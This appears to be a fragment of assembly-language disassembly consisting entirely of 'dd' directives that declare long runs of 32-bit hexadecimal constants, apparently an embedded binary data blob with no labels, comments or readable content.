dd 75DF2BE4h, 0DB2986DDh, 0F090E7FEh, 0A63D005Dh, 61F34668h
dd 8B0FEB9Ch, 0A65B7423h, 19568Eh, 0DDFBBA94h, 0E36BDF2Ch
dd 465949CEh, 5CA8E06Ch, 6400D065h, 502BC2Fh, 0F0036823h
dd 2E6D5B33h, 148766Fh, 59A8168Ah, 81D6D4F1h, 4E72AF38h
dd 0A8801361h, 0D9F74002h, 0CC61C5D0h, 0DC11A020h, 0F4A7180h
dd 0F42859A5h, 3B466200h, 1423384Dh, 706D06F6h, 4805B95Eh
dd 0FB652C0Eh, 804F0E5Ch, 0FCD408DBh, 0EB8F006Bh, 0E3243B9Fh
dd 30003DB8h, 1D9E894Eh, 635487FAh, 512B11C2h, 0E53930E4h
dd 0D04122B5h, 0B3FA3A0Ch, 0AF44130h, 0F56AADE1h, 46186104h
dd 710810Fh, 0D61CBDAEh, 7BC100D2h, 6701292Dh, 5EF08E82h
dd 0F2D18BFAh, 0E3144180h, 5341A2Eh, 16517660h, 0ABFEA26h
dd 8A104A0Bh, 8EC500EEh, 62FF4D4h, 0A0296E6Fh, 0F394952Ah
dd 0BAB60CA0h, 7E0830EBh, 0A2ACA9C1h, 3F308195h, 0BC73005Dh
dd 0CB8037A4h, 77009A94h, 0E4B51E7Bh, 0A69BDCCh, 0EA1104ADh
dd 67873E6Ch, 8184A479h, 80B38AA2h, 0B1C84D19h, 0CE524FFh
dd 0AD2DD650h, 69614108h, 0B1C04E20h, 632CCCh, 7F3F39C4h
dd 60F1CAC9h, 16596503h, 0FDF7E7Ah, 536D9969h, 61A587A6h
dd 5D230F00h, 0D515EE36h, 7A1414E9h, 92001870h, 0E8B82B98h
dd 0E9C07D04h, 30D148Ch, 0A3C60051h, 0D85E9211h, 0C900A27Bh
dd 79FBC1A6h, 146E3967h, 0A40F756Bh, 2D012423h, 28F37B95h
dd 898B8218h, 51D895A1h, 9346055Eh, 215565CAh, 0C329A688h
dd 0B9409886h, 0F959C077h, 0E08C607Ah, 63D34D00h, 5837B68h
dd 857300CBh, 14BA20DEh, 7C307ADCh, 8D37E1E2h, 1F0906EDh
dd 194DEFA7h, 21DE1830h, 98A11606h, 5B58957Eh, 900A07E2h
dd 0E0159B77h, 8178B0B9h, 0CC4484h, 557718D6h, 698945FFh
dd 1BD5530Ch, 30F051A5h, 0CA316D39h, 81C12DA1h, 8AEFA6ECh
dd 0DBA09B13h, 7892F14Fh, 73385501h, 5A267BC5h, 0CC16C920h
dd 3321E908h, 0BA733000h, 0D0BED372h, 4EAB199Bh, 100DA8AEh
dd 93A56A83h, 0B1C1012Ch, 18AD2538h, 0B7ED8854h, 0B0C2B100h
dd 61669010h, 0A41B48A1h, 8B825783h, 0C1242B90h, 0F7AA9600h
dd 0AEC30CB9h, 2D1B30B0h, 0F8A70129h, 0C2A9F263h, 0EFF6C1CDh
dd 0E68011BBh, 0FEFC93BAh, 0F3096432h, 2ABD38F0h, 31111C04h
dd 96952C80h, 448C30F3h, 0A401AA85h, 535DDA95h, 0D060324Ah
dd 27910023h, 7213781Bh, 0A65454FAh, 790E8D80h, 0EF988BCAh
dd 6B0423B3h, 534815F0h, 2300C461h, 0F9134BE0h, 0CC00A919h
dd 266276B5h, 0A7D1B0Ah, 97CE98DBh, 0ABD12E0h, 64E07820h
dd 733A60DDh, 167B21C3h, 733235C0h, 9D330043h, 4112EF0Fh
dd 0FD81CBAFh, 48CA00Ch, 252DB1C2h, 0A963B5h, 0B1BCEC21h
dd 6F782928h, 58AE891h, 3864B0F7h, 97952960h, 0CC88F321h
dd 7800956Eh, 75A251E6h, 30D2363Ch, 0EC217C05h, 39002050h
dd 16D53568h, 0D747EBh, 0A2270D9Ah, 8D71DAC3h, 7C782F04h
dd 0E0C8B2FCh, 96028CBAh, 0FA67282Dh, 10F8198Bh, 12EDE21h
dd 8CD2EDFCh, 4CB59B83h, 48C2C90h, 2501B1C6h, 209CCED5h
dd 4CE8F8h, 80D7F12Ah, 0B65193D2h, 0DDC7F400h, 8DFD4ED3h
dd 0BCF61298h, 841C237Dh, 57CBCDD8h, 9BE86404h, 0D88E6C5Ah
dd 30E26284h, 7BB165A4h, 0A1FE240Bh, 0E0160820h, 12445428h
dd 0EEED37A6h, 5F62C559h, 1F900294h, 6C423F18h, 0E811389Dh
dd 0DE20488Eh, 97379C7Fh, 49EF8B15h, 48C7128h, 7BC6732Dh
dd 4C00642Eh, 0FF732536h, 0B9F30035h, 920DB7A2h, 0F0541BBAh
dd 0C6FAA6DCh, 17D2C200h, 59E4309Dh, 77F62Fh, 0CADF6067h
dd 8507D25h, 0F2790891h, 142CDC18h, 0A64CC405h, 0CF940054h
dd 21CC0839h, 0CB00BAEAh, 0AAC4B67Eh, 1E2502F1h, 4B396BA7h
dd 5017D5A0h, 85808791h, 3141F671h, 0F55E1C03h, 232A8C5Fh
dd 9401BCC0h, 0EA672E2Dh, 1F88E518h, 22AFEDCh, 9A8F6C55h
dd 0BCB0E8E2h, 0C80872FBh, 6459FE7Bh, 333C40EDh, 1E573h
dd 923EBC89h, 9E667C67h, 24DCE229h, 0C4733705h, 0E06241C4h
dd 2F3021F4h, 0DE7EDC73h, 3528012Eh, 54437700h, 60EAA702h
dd 588F29F0h, 0A200166Dh, 93C5675Dh, 0C87BD09Fh, 0FCC1E7B8h
dd 6F5C972h, 0AC223849h, 73342F01h, 53E91B92h, 0B5EFC884h
dd 0CB3381D7h, 15742365h, 3CC7104h, 5F4D51CEh, 0A6FFF89Bh
dd 71FC61EAh, 85AC70FAh, 8ECB8D31h, 42CC8414h, 30EBF2A8h
dd 3F4CC274h, 0E52206B7h, 21486FD0h, 180527Eh, 0E7BCA73h
dd 80CCA55Ah, 2B733932h, 0DF5C478Ch, 0D16B3200h, 26B4458Dh
dd 3100D6F4h, 1BF8D212h, 12B90C35h, 935665CCh, 0BFE8B424h
dd 6098CE88h, 502DF02Eh, 0FE5343h, 9F97D349h, 4F772E1Dh
dd 6C4C4101h, 37D4EF91h, 9E229462h, 9440044Ah, 6493B1F4h
dd 0D788007Fh, 36EADC59h, 9E4C3BB7h, 8CEDBC18h, 0B046803h
dd 0B3140E6Eh, 18A3E439h, 4F3085E2h, 0C4740001h, 8DF66C56h
dd 21C07F05h, 3BA9A0B5h, 0F0B700C2h, 0EBD91CC6h, 0AF01F9E0h
dd 0A03DE688h, 0FC639497h, 2FCFA301h, 0CC85C295h, 0D000D6B5h
dd 6DCEEB5Ch, 9602D9Bh, 9ACA2CC8h, 390094B7h, 5F1748CEh
dd 92C104CBh, 40DE1CCAh, 0E4DFB52Fh, 0CD7F1DFFh, 72118022h
dd 4676F12Bh, 945D9329h, 0CC0758A2h, 1D9B9C22h, 246876C0h
dd 576B006Dh, 0DD537152h, 18122BF2h, 382F9E2Eh, 0EF00EE23h
dd 0A8FA9FB8h, 7DB0041Fh, 41DF7279h, 0F7538E92h, 42573182h
dd 0D080F130h, 76B75582h, 8B71CC00h, 8CA8D9Ah, 0A5610556h
dd 910F73D3h, 567E268h, 55C850CBh, 0D9A658C0h, 0AEF001F3h
dd 39A9FF67h, 7C61BBA4h, 9C7CDE49h, 0F9577D00h, 44B8BE4h
dd 4FB4919h, 6334906Ch, 3C99C0B7h, 8C2A0A00h, 0ADA90D9h
dd 73615CF8h, 30239EBCh, 4C19CF51h, 987FB20Eh, 5D44818Bh
dd 298070C1h, 37C62CA5h, 0E8ED7D7Eh, 0D405FC3Ch, 66F3F564h
dd 9781E434h, 0AFD1AE5Ch, 24EF8AF8h, 9C477F3h, 70C506BAh
dd 0C363E5C4h, 93C1DD80h, 2B43F496h, 0AF4BC8B5h, 95F00E2h
dd 0B173C955h, 0F0F43023h
dd 0CCCDE700h, 93C36D84h, 393260F1h, 0A2795FADh, 0F3B30513h
dd 442C88Eh, 6FF7B0FFh, 78CD589Eh, 0CC15C00h, 0F30F81E9h
dd 0D261DEF8h, 0C239A318h, 0FBBE00D2h, 9500C59Ah, 1D85EA14h
dd 188EF3F9h, 59E87879h, 3E69801h, 75AA5700h, 0EB8D1672h
dd 88B500F0h, 0DE0938C6h, 89C0FB4Fh, 28E2E73Fh, 0A2420964h
dd 0B10014B0h, 0B7012A26h, 0C7572000h, 9B7E720Eh, 78836075h
dd 621CEF90h, 780CF490h, 189EC16Bh, 7B3B06B6h, 1094E153h
dd 64EE240Ch, 167E2835h, 40AB04DCh, 0DAC2796Ch, 0BF7CF6E7h
dd 0B866E9C2h, 0D57CA0EDh, 13902D80h, 4037C96Bh, 3465558Ch
dd 0A1C6A84h, 6019B6D9h, 78F82761h, 1C76076Fh, 318DFAEh
dd 5DAB9C73h, 0B08049EAh, 82643B61h, 43BC0F50h, 77F0D340h
dd 43C8AA32h, 4A9CF15Fh, 2A399085h, 53BC05E8h, 151C9004h
dd 0A3030237h, 0E5D96E65h, 0AF4DD059h, 0B7DD0007h, 53D0E764h
dd 8B005584h, 0BB4F462Bh, 5A99813h, 0A78E01C9h, 175BC0B3h
dd 907C68EEh, 0E71881F1h, 5F46F174h, 1020BCE2h, 7246E08h
dd 0EBF148Bh, 0A0825443h, 31E504Bh, 0C811CD86h, 0B2E18C1Ah
dd 7B52FC3Ch, 0EB3A4700h, 640A1402h, 980E43C2h, 41EAFA81h
dd 9314082Ah, 3005BE98h, 0DFA2059h, 4DAD16C0h, 5AB8CFh
dd 0F7118ECAh, 0BE10C38Bh, 3384190Ah, 84C3491h, 0B380A84Eh
dd 0B4AE4670h, 0EF00A03Eh, 0F570A493h, 0C60249E8h, 0C4CE3422h
dd 0F8E845E6h, 1163DB18h, 0AD8F0910h, 23EB0A0h, 0D3B78CA9h
dd 54404A26h, 0FB5CA818h, 0B2063F1Ch, 132A2912h, 542447E2h
dd 29BB1925h, 44490816h, 2284403Dh, 24217FEh, 214C1011h
dd 19D4086Ch, 0DF84EE90h, 8615C4Fh, 0DA911A8Fh, 99C50200h
dd 85374FBh, 6BE5DE00h, 460CF7Fh, 2F47526h, 0C8BC9E6Eh
dd 0CC81A180h, 0FCE2D8FBh, 64004B75h, 0EEC90C7Ch, 5E98EDh
dd 8E41E9CDh, 0B73D8C68h, 0DE92AC2Ch, 6EF53300h, 0F277F6h
dd 25CD2B90h, 3B68C75Bh, 47912200h, 1C6776AFh, 15142849h
dd 746900C1h, 940E1FD6h, 7B00CC2Ch, 551EB43h, 2EB3337Eh
dd 0E504D9h, 6A4B49E7h, 5C7692EEh, 454DCF1Ch, 37773C00h
dd 0F95E96B1h, 90DB22D5h, 626CFDh, 0A771D2EDh, 8026387Ah
dd 5B24D903h, 0E64A39h, 0AFD26241h, 0B9EDDF22h, 0FE87A00Eh
dd 0CB1000A5h, 3EB0D6BDh, 0B79D8A6Ah, 0FBA4C03Dh, 8372CC2Ah
dd 0F4603Dh, 18C328DFh, 9D1A2Eh, 0D37C8C15h, 73A59E47h
dd 8FB21E18h, 254C19h, 4F6801BBh, 3EA27AFCh, 0B114AF05h
dd 0DDC0F0DDh, 0A06D6h, 0C29C9A36h, 63FAE946h, 4C448B00h
dd 0D93FCFC5h, 0E1EF252Ah, 8FBA7E0h, 0E32D1701h, 9589C756h
dd 735067D0h, 0A13F0980h, 90A7ADEBh, 5D2FE07Eh, 0D200F138h
dd 8A0DD088h, 2E83C33h, 204556D4h, 0D8A0BB6Ch, 1F99B837h
dd 0F3DF8600h, 0C2AF9D13h, 303600DDh, 0BBE1564Ah, 0B500AE05h
dd 9DB6E4D2h, 0E69942Ch, 0BF7B4DB8h, 102BA0E1h, 339A92B3h
dd 0AF4C18C0h, 0AB571EE7h, 2E074052h, 156E6CCCh, 45D7B000h
dd 19944B53h, 0E3F318DEh, 0D3DD6007h, 0BD4FC000h, 55EC6138h
dd 14E20354h, 910A138Dh, 3CAA9A88h, 7EF0EB60h, 5DF5B1h
dd 398C1466h, 1ADD088Eh, 0C90000B2h, 86B7D4A2h, 0E32FFCh
dd 36BD3BC3h, 960FDE63h, 6460991Fh, 40B3BA40h, 4624A89h
dd 47FD9485h, 661C8018h, 1D00AA7Dh, 119F4558h, 7274EBh
dd 0D48D03E7h, 9C54F990h, 26008B70h, 2376180Bh, 1CA8160Eh
dd 5DFBDA60h, 73A94695h, 780050B5h, 481065CAh, 415867h
dd 0FF23B4EEh, 99274557h, 0EF6B0301h, 5F89CE95h, 0AD4820h
dd 0D7DBF118h, 3342C7E5h, 2E1EA803h, 0A9922230h, 4981594Eh
dd 5817E3C1h, 0CE16D04Dh, 87FC2900h, 0F0FBF2C3h, 2F6600F8h
dd 1E37789Eh, 4D787FCFh, 6318D00Eh, 7364E465h, 35BB1C80h
dd 5A940060h, 0D4FD6FA6h, 7507141Fh, 3385919Eh, 0AC1D0A10h
dd 0AAB80036h, 0A28BE098h, 579CA0Ch, 7C318900h, 0F2CD2D2Fh
dd 0D54C00DDh, 4DB90A83h, 252618C7h, 2CC01478h, 3221799h
dd 0A846290Dh, 3EC84875h, 16002326h, 0B79F9101h, 340242h
dd 5D3CD229h, 0C8B804B9h, 50D4A724h, 8852B00h, 0D5F353h
dd 0A61C4DB6h, 19CED6DBh, 0B1F84890h, 11FE040h, 4470F2A3h
dd 0DCB6DD2Ah, 170EBCFDh, 6024113Bh, 0E42DD850h, 3A5C2A70h
dd 8DC212E8h, 429803D2h, 80ACD801h, 0BBC64B7Fh, 51F3B400h
dd 8B284676h, 24E012h, 61B263F7h, 0DBA49894h, 9B0322F6h
dd 6ADFC3A8h, 0C660B045h, 0E20A003Ch, 0F3AB884Eh, 7500E95Bh
dd 0A1E09F94h, 57E48h, 760722D5h, 6E7F999Dh, 462C3000h
dd 44C74F84h, 14BC85h, 0B752CD66h, 0C61DAA8Bh, 3D401232h
dd 0B1A087CBh, 36380058h, 982FDC27h, 0FA13251Bh, 0C03949Ah
dd 88D4097Dh, 428304h, 0E1E8801Ah, 2264ED10h, 3600B676h
dd 8EE5BD43h, 0A0CE4EF4h, 28846BD8h, 588D3B1h, 0BBE9A898h
dd 4870C072h, 0C80093E4h, 4C29D5DEh, 0B62B19h, 8C956923h
dd 10420274h, 9676AD13h, 0B9EF4C70h, 6A0C014Ch, 0AE4B203Dh
dd 639EF403h, 0B580CE03h, 0D03C2CA5h, 23628ACh, 0FFD613D7h
dd 2860100Eh, 0E498972Dh, 6B67C913h, 45EB4800h, 0AE32C7h
dd 381CACA2h, 6110CC01h, 9CAAE4EFh, 71003F7Dh, 52E264D2h
dd 8B1875h, 2844FA33h, 0A7D34B9Fh, 45950C03h, 0E0F81B60h
dd 0EC58Eh, 333A083Ch, 50B67AC0h, 9DCE2B00h, 0EF70536Bh
dd 0B7CF0779h, 0F2B1497Bh, 1CD88CB2h, 5781C500h, 0D11238D7h
dd 27AC00AAh, 20238B43h, 970F9FF9h, 2588723Ah, 0E82053CCh
dd 31C63Fh, 0D440900Fh, 44B4BA86h, 0AC993205h, 0C4809A85h
dd 0A49B72F1h, 3BF0A8h, 6AAEE2F6h, 0D4D03F8Dh, 6079900h
dd 0CBD7547Fh, 0C2DC0753h, 70BDCAF3h, 0A3BF80E3h, 0FF9890Fh
dd 313D811Eh, 2E60C364h, 0E0270068h, 9BF7D360h, 5890A86Ch
dd 0EDD57E00h, 58A69EDCh, 22FEF4h, 3C8F55E0h, 0C8A90C84h
dd 3256C001h, 6236B9DAh, 0D4109C40h, 29AD1F40h, 0ECA6C035h
dd 53448676h, 501C8300h, 2DC65513h, 3F8E03F8h, 3614899Eh
dd 6FBCADB9h, 0DBEB6E00h, 0BDFFB8h, 0D3E95F12h, 403FD159h
dd 0E6EEBB00h, 7BDA7004h, 0D27AAFh, 0D79B65Eh, 8F357820h
dd 0B4A54E02h, 63CF0613h, 0DC3FE0ECh, 2E789872h, 1E75AB43h
dd 8BB8E4C2h, 1E848096h, 9B74C008h, 23002984h, 12A632FEh
dd 77BE07C8h, 347B2E82h, 0CBF60199h, 846855A3h, 0D0A9DC6h
dd 9C3F78C0h, 5898A8h, 0AF4AE41Bh, 0D49136A5h, 10E02826h
dd 7E67AA07h, 1792C000h, 0FF550070h, 0A8B52D21h, 7B17D441h
dd 0B70E64B1h, 0B1EE0FBh, 0ADFC293h, 4F7840CDh, 870C0074h
dd 0E1A29088h, 0CD435717h, 0F25A5003h, 6CE085B9h, 0E4214DBFh
dd 3983930Eh, 0B1180920h, 2D007EA2h, 21F7871Fh, 0E59A4Eh
dd 794474AEh, 0F1CE3847h, 0E0A5C030h, 6912957h, 3948E1DDh
dd 0BB3EE995h, 81CC4C14h, 174CC6D4h, 0FFE31834h, 0FC2043DAh
dd 2E3E2C80h, 0FDA700E8h, 68E3854h, 1E3E69E9h, 5015004Bh
dd 0C405E578h, 51D202A2h, 0C1EDF064h, 619BB140h, 0B61D509Ah
dd 5180B5ADh, 0A0276635h, 8E16031Bh, 73890712h, 5819D9D0h
dd 0CB63A600h, 97C7C657h, 0DBF305E0h, 8837EB85h, 1900E5D8h
dd 469EEA1Ch, 65905Dh, 0E104E3D3h, 5539B4C5h, 0FF1BBD00h
dd 490CADA9h, 766D003Fh, 56AEC81Dh, 3900CD7Ch, 5879E921h
dd 0C25703h, 0D33C09DBh
dd 0AD9893FAh, 0D0AB5400h, 0E9EFF25Bh, 0A80714DFh, 9700C870h
dd 1646B0E8h, 0C1034B5Ch, 72C4D151h, 0E760D77Ah, 2469C0DEh
dd 97325Fh, 0F243FC3Eh, 0B80F86BFh, 0A00D7788h, 0A6E8F1FFh
dd 51120929h, 8080FECDh, 2AEADC83h, 6479AE0Fh, 90B32553h
dd 4300C85Eh, 232B4196h, 0F54700E5h, 0A6B32F1Fh, 0D04C4D67h
dd 3B051FECh, 2C91F0C1h, 8850FDE4h, 0B8E885B9h, 8F9700C5h
dd 557F1E1Ch, 0E90360BBh, 6C0F95CFh, 0C99AC0F1h, 5F9B049Ch
dd 801B7ADEh, 49D77874h, 0C4B05617h, 99ADD400h, 4C9DDBh
dd 73FDBF31h, 0B5399C11h, 0BCACFA00h, 545D708Ch, 48CB0046h
dd 25716EF4h, 68123DECh, 0C916BE6Ah, 49575482h, 1C20D6B0h
dd 8D2D007Dh, 0EB18F702h, 4002643h, 385609DEh, 0EA7B4530h
dd 52D728E1h, 3C940094h, 0DCF78B72h, 0EE00EB90h, 0F5D4834Ah
dd 88A65Bh, 0E3A4DFB2h, 0A39BD6EFh, 0E262781Ch, 405F3F0Ch
dd 2F2D0913h, 347880D1h, 235D8100h, 0F03FDE8Bh, 0CE0B0FD6h
dd 74E0FFBDh, 34550E8Eh, 0CAF1F0Eh, 248AA32Ch, 81C000BFh
dd 0DD2FE662h, 372E212Ah, 4000FC79h, 0FF6F8DA1h, 0D0A9013Dh
dd 0BBEF49A8h, 0F69AFC98h, 0BAEE831Fh, 7C0D7140h, 58300Bh
dd 24A789C4h, 22196F5Bh, 3B916303h, 0D09FA42Ch, 0A01DD6E2h
dd 0CE9CC8h, 0B3F7FBE8h, 0AACDD4CAh, 2C7AA838h, 78287DC5h
dd 7C984D50h, 780103F6h, 5EBE2A3Dh, 0ABF06085h, 0D07605B5h
dd 0C013EE95h, 802C491h, 80D98E3Fh, 1AF65B21h, 265242Ch
dd 153B5FB0h, 0E8C03A5Ah, 0BF1843A0h, 49282F8Ch, 0F0700E60h
dd 0FF2042E7h, 0BA4E1ECDh, 6DF33E17h, 0A086550Eh, 0E1227CE9h
dd 0ACBB1CB0h, 0D7A1C5EDh, 871D800Ah, 37784E77h, 0D6F23100h
dd 56D14F3Ch, 0C0CB4A92h, 17458528h, 0CEF79700h, 0F46D6A8Ah
dd 0E24B0002h, 5660B8E4h, 480031FEh, 8D16084Ah, 74D7711h
dd 0CEF588FFh, 0F0935750h, 0EF05757Ah, 0DA6B580Bh, 0B1C00084h
dd 3955B39h, 0B536713Bh, 96A14DAEh, 764860D8h, 9C8BAC00h
dd 95FC9FC4h, 8C77C8h, 302315DAh, 0CCC244FEh, 56C5CE00h
dd 51D487A0h, 398C9668h, 0D501DC3Bh, 0A13FEAF3h, 216F715Eh
dd 0A0E6D21Ch, 0EF7CCE0Ch, 74240Bh, 41B7C794h, 1134B26Fh
dd 400848h, 4C648085h, 1D546102h, 809C16D9h, 9086ADAEh
dd 4458A201h, 66406037h, 5CE1Dh, 0E90FFA49h, 60E6CC2Ah
dd 6434A900h, 3CC75A52h, 5C5B895h, 42C33FEBh, 760CC09Fh
dd 980090A4h, 8FF14F04h, 22A61Eh, 0BA83D05Bh, 9475EA93h
dd 57A7E701h, 0FAB1C71h, 97502082h, 26C0671Eh, 6000488Bh
dd 3E7228FFh, 0FB7ACFh, 0B3E58CE4h, 0AF2A794Ch, 0B9457305h
dd 0F40093CEh, 0D64E2C4Dh, 527980F1h, 0ECE30B00h, 6166806Ah
dd 0F7370063h, 0BC9E70D8h, 23000A4Bh, 0DA243E44h, 7306E8h
dd 17CCB51h, 84F1ECC4h, 69763C00h, 5F54E31Ch, 0B58340C9h
dd 862577h, 0A820F001h, 813461E7h, 0D8022E00h, 0F9BBE2F7h
dd 6A6E2EF6h, 54BA02E6h, 576230D1h, 49BCD460h, 0F200C090h
dd 6EF1FAC9h, 4C958Ah, 2062CC4Bh, 0F527166Dh, 8FC8371Eh
dd 71CB4E4h, 6C23E240h, 69D983h, 0DDB3133Ah, 44F277B9h
dd 0CD387105h, 4980A064h, 8E3668h, 4596AA54h, 6A4A35BCh
dd 1C002C90h, 0C4875CA8h, 0E15AF2h, 0DFA0F012h, 0E9EE6C9Ah
dd 0B944C00Fh, 424CA792h, 0DACBE390h, 83100A5h, 446C67F2h
dd 59757D9h, 18A4A280h, 89FF2ADDh, 0B60C02D8h, 749CE9F4h
dd 5E007470h, 2EF9564Ch, 73D0DFh, 846B1A9h, 96BD581Fh
dd 2571D4ECh, 5DB93D00h, 697DB622h, 0A450FD8Fh, 1EB00CCCh
dd 2442DD56h, 87791D48h, 0C0DCEC2Ch, 8612D3A9h, 911323Fh
dd 8018E5A3h, 5817E716h, 24640270h, 6AE2F390h, 3CE543C0h
dd 579C4502h, 0E80E5AECh, 0EA4490E4h, 0A9010099h, 8ED7FFFBh
dd 0B0002C07h, 0F329C674h, 62406Eh, 754C146Ch, 99D83E2h
dd 0DCD3B72Eh, 1DAA2700h, 0E42CDCD2h, 717154h, 2BDA6C55h
dd 0E1F326D8h, 0ADB47500h, 0EFBB2447h, 292E002Ch, 22B9EB53h
dd 949E5BDFh, 0A31F7680h, 0E701E7Ch, 99966CAEh, 1A6AA060h
dd 0E10052A4h, 0C3922BBh, 1D81E4D2h, 0C04FFCE6h, 65CC7C7Dh
dd 0E507759Ah, 970B382Dh, 355DB610h, 73DFE23h, 6E41683h
dd 475A009Ah, 4404DC75h, 5B23D632h, 77999680h, 506407C3h
dd 0D028A860h, 0C96D3BEBh, 0FB8D558h, 40B8B5h, 0E2231D43h
dd 0A49E00DDh, 21D2EA5Ah, 4F00E3CCh, 0FB724609h, 397105h
dd 0B2E68ED0h, 495E6848h, 0D4E7BF00h, 35C979C5h, 2FBFCDDh
dd 0AC065341h, 0A0C059D2h, 800056F0h, 0F40595F9h, 97FE33Bh
dd 97AE6F5Ch, 53FB74A0h, 70E8D8BEh, 7577A890h, 7E329C00h
dd 74A13B93h, 63580018h, 0E6B4C447h, 5D1F037Bh, 0F86AB9A9h
dd 1389EEC0h, 0E49908h, 739014Eh, 0D96D7F12h, 285B2D01h
dd 27EAB47h, 1380C60h, 50E3B2B9h, 0D033D48Eh, 0EE007C6Bh
dd 8C1D6412h, 99CD3h, 417EAA3Eh, 7606B559h, 183748h, 1B30279h
dd 10BCD8h, 0DB34B1D5h, 139CBFC0h, 644C303h, 0D06953CDh
dd 0D5C662h, 0BF8A16B7h, 0E6D8DAF2h, 2C49C800h, 8727B0BCh
dd 8906F1Dh, 6A9C24E0h, 73008539h, 0D4AA60C7h, 0BA91D14Ch
dd 0A7490054h, 3E2D147Eh, 8200AFD8h, 4053CB5Eh, 7FB263h
dd 1CD7BF79h, 6A6476B8h, 9F7700B4h, 2B1261FFh, 4B304C80h
dd 0BCC072Fh, 8036CA65h, 19F25AE6h, 0D7CEA701h, 266ADA48h
dd 1EF6C0CCh, 45545EA5h, 80843C81h, 584B7358h, 9A32B500h
dd 8C14D074h, 0C1351EFEh, 366607C5h, 0E03A878Fh, 94E30E6Bh
dd 0AF9EBE25h, 8E4460E0h, 7EB988B2h, 0CDEEB0h, 0B38CF515h
dd 2012CE67h, 0C75EEA16h, 696F0C01h, 4DEC56D9h, 2B0F03B5h
dd 0A20BA1D0h, 900A5000h, 86E48A1Bh, 21A41788h, 6F1CC3h
dd 5C14B8A7h, 110083B7h, 34372CBDh, 0F6C41AE7h, 0BE523F91h
dd 10280D03h, 0D2DC0976h, 0C45C0B48h, 0CF5A7080h, 251559h
dd 18426EEDh, 0E5DF114Ch, 0FF2FAE1Ch, 0C8800DD3h, 0B4FC6Dh
dd 5B8ECE85h, 81B62B79h, 52895900h, 97E733CDh, 4B250530h
dd 44BAA073h, 0ED532CF8h, 0E6720170h, 0EE7BC559h, 6194D1D0h
dd 0CE78880Eh, 3E84E15Ah, 0BE1E881Eh, 0C6C9BC00h, 5E9753h
dd 0A09D752Fh, 0AB62F35Fh, 6D00E8B0h, 9B377F70h, 0FED04D1h
dd 208F73B4h, 3CFF85A0h, 670F2B34h, 0C09CC617h, 66F56921h
dd 718D1D5Ah, 346D01D6h, 806FF255h, 0EA2FF881h, 14509FB6h
dd 5C2D2CFBh, 5AD30A01h, 419673C8h, 0D856046Ch, 1900B78Ch
dd 2639F3EEh, 55EDDDh, 885922E5h, 0B2EA111Bh, 7EF52F00h
dd 17FE7C4Bh, 0F8EB0074h, 1E0D32ECh, 220093F1h, 520E1545h
dd 6C1349h, 0DF2C5F86h, 8DBEEA6Fh, 0F2FD8900h, 0B164A81h
dd 6E9048h, 85345DC1h, 0D7B8ECF6h, 472C3900h, 43AFD0ACh
dd 0AA3800DBh, 86D5A944h, 67D0507h, 5C652A00h, 0C3A88B73h
dd 16B000EFh, 0E904AA18h, 62E24619h, 507EED00h, 2E3BC45Bh
dd 0A51404E4h, 0FCE0B00Dh, 1CBD804Ch, 133EB9h, 0A9C71983h
dd 0E6B81E7Dh, 778F7400h, 0A6E2E9BEh, 90A0B5F3h, 470985CEh
dd 2D389C02h, 8001532Bh, 0DA6ECDFCh, 5F590074h, 0DDC675FEh
dd 209D5231h, 6E2D16C4h, 6CC03801h, 62C3BB00h, 5BB7F121h
dd 0AF43C00h, 18EEF060h, 30CCB8A0h, 8C209D25h, 0DD38785Fh
dd 0EA4403E4h, 0E16669FEh, 42C8048Bh, 3908C1A2h, 708ADEE5h
dd 0B3188872h
dd 2879F952h, 60FA7590h, 1ED44A31h, 1E2E71Fh, 0B4977301h
dd 8A38F13Ch, 1CE88854h, 1D409280h, 570061F5h, 19CBC7BCh
dd 276B2210h, 0F8405887h, 0AB00AFEAh, 44F73EEh, 85C948h
dd 52307574h, 6AB6DFE3h, 0BFDCF000h, 0F9E49C59h, 61DB00F1h
dd 2B8777ADh, 0FC0080E0h, 75DDE79Fh, 0D05F7h, 8AECD668h
dd 0A134E84h, 66036ECh, 1A05DC18h, 0BC30031h, 9A35E32Dh
dd 693EFB24h, 3B981E0Ch, 54BD9E3Dh, 37A8600h, 0F00864h
dd 0C81106C2h, 0DEA7EEDAh, 5E78B07h, 1AC0C368h, 0C551B51h
dd 0A961E32Ch, 0CC00B668h, 66BE0590h, 0DB1612h, 9BA1DD73h
dd 21C96014h, 46E918C0h, 77F9A67h, 553DFBBDh, 8C6F7F47h
dd 0ED8F7101h, 18288326h, 98A70EE1h, 30801496h, 0D181565h
dd 2D0CC60Ah, 791161E6h, 6FB0FCADh, 414F139h, 84750CAAh
dd 0BB101Ah, 0EFA9B2A5h, 66A23889h, 25BEF002h, 855393DCh
dd 0B681179Bh, 0ABE86CF3h, 6480004Dh, 0FA15C1A1h, 510148B8h
dd 755E2F74h, 0C6F8CF1Bh, 23961D28h, 213D40C1h, 6E628559h
dd 7E2E2D00h, 0A68A2088h, 3F7000E4h, 8E8774BFh, 6700A454h
dd 5A65812Eh, 0F901ECCh, 76D47938h, 95F5C860h, 88004D8Ah
dd 5D904CEh, 11BD751h, 0CC43C2E5h, 0D89B21D0h, 0DA58619Eh
dd 35F60083h, 25119D41h, 28E32CBAh, 4BEC0016h, 0CC5C36CFh
dd 7E57B539h, 0C2916D1Eh, 10E18143h, 8E0E8ADAh, 5A54E094h
dd 0EABB992h, 8D14C0B0h, 0C4EAD7A1h, 5BA8E741h, 5607CD80h
dd 862E2994h, 9EAC4FD0h, 0FA950117h, 3A8C25FBh, 10E5314Ah
dd 5A1FA9BCh, 3B5F8800h, 5D812539h, 0ADD30015h, 6F3E23FEh
dd 0D800AA2Bh, 0F55202B3h, 0F7F0B0h, 7E3C7BE3h, 12246F70h
dd 0F93AF104h, 37805E4Ah, 0E47B3074h, 5B6B00F7h, 702FFB9Dh
dd 1300CB08h, 142D8F21h, 70E6576h, 0F3E7D91Ah, 0FB0474AEh
dd 86623F0Bh, 1EB84850h, 3B37B989h, 972DD30Fh, 679AEB40h
dd 0AB1FA40Fh, 1BC06D17h, 16ECE694h, 793100D5h, 1FC32F87h
dd 53008877h, 0F80ACB8Fh, 0C0C567E2h, 0ABBE1E31h, 0BA727F8Dh
dd 0AA00CC7Ah, 0E2405D06h, 0B9EB96h, 17A64FA8h, 0FF78841Eh
dd 9C876F28h, 0C2F22710h, 3D1FB300h, 2C41E689h, 0A2802807h
dd 1A00036Dh, 3864E1h, 2690F8E9h, 0CA2FCC07h, 76431D48h
dd 0AD43F900h, 0F69EAB9Ch, 5CCF0194h, 4ED1144Bh, 0DF20C09Ah
